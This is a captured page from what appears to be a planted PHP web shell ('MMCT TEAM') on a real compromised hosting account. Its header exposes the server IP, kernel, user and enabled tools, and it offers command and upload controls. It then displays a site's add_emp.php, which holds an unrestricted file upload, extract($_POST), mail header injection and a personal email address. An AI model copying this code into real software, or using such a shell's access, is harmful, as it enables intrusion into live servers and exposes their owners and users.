MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/arkkagency/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/arkkagency/add_emp.php
<?php
// include 'Admin/Includes/db.php';
extract($_POST);
 $dr_photo1 =  $_FILES['do_photo1']['name'];
                                        if($_FILES['do_photo1']['error'] > 0) 
                                        {    
                                           $fgr1='';
                                            //echo "<script>alert('no aviyu');</script>";
                                          }else{
                                
                                             // include("compression.php");
                                         $thumb1 = $_FILES["do_photo1"];
                                         $thumb1 =  $_FILES['do_photo1']['name'];
                                         @$thumbpath1 = "Employers/". $thumb1;
                                         move_uploaded_file($_FILES['do_photo1']['tmp_name'], @$thumbpath1);
                                            // compress($thumbpath, $thumbpath, 90);
                        $fgr1 = $thumb1;
                                            
                                     }
                                     
                                      $email=$_POST['email'];
                                  $html_message  =  '<h1>New Employee Details.</h1>';
                                  $html_message  .=   '<p>Company Name : '. $_POST['name'] .'</p>';
                                  $html_message  .=   '<p>Email :'.$_POST['email'].'</p>';
                                  $html_message  .=   '<p>Phone Number : '. $_POST['phone'] .'</p>';
                                  $html_message  .=   '<p>message  : '. $_POST['jobt'] .'</p>';
                                  $html_message  .=   '<p>CANDIDATE CV  : https://arkkagency.ossoshopping.com/Employers/'. $fgr1 .'</p>';
                                  $html_message  .=   '<p>country :'.$_POST['country'].'</p>';
                                  
          
                // $to ="info@oyekabadwale.com" ;
                $to ="shanudev515@gmail.com";
                 $subject = "contact us";
                 $header = "From:$email \r\n";
                 $header .= "MIME-Version: 1.0\r\n";
                 $header .= "Content-type: text/html\r\n";
                 
                 $retval = mail ($to,$subject,$html_message,$header);
                 
                 if( $retval == true ) {
                         echo "<script>;
                            alert('Mail Send Succesfully');
								window.location.href='employers.php';
								</script>";
                 }else {
                         echo "<script>;
                            alert('Mail Not Send Properly ');
                            window.location.href='employers.php';
                            </script>";
                 }

//  $SQL = "INSERT INTO tbl_career set name='$name',email='$email',phone_no='$no',location='$location',profile='$profile',resume='$fgr1'";
    
    
//           if ($con->query($SQL) === TRUE) {
       
        
//       echo "<script>;
//         alert('Our Experts Will Back To You Soon.');
// 								window.location.href='index.php';
// 								</script>";

// 	 }
//   else
//   {
//       echo "<script>;
//       alert(' Not Added ');
//                 window.location.href='career.php';
//                 </script>";
//   }

?>

MMCT - 2023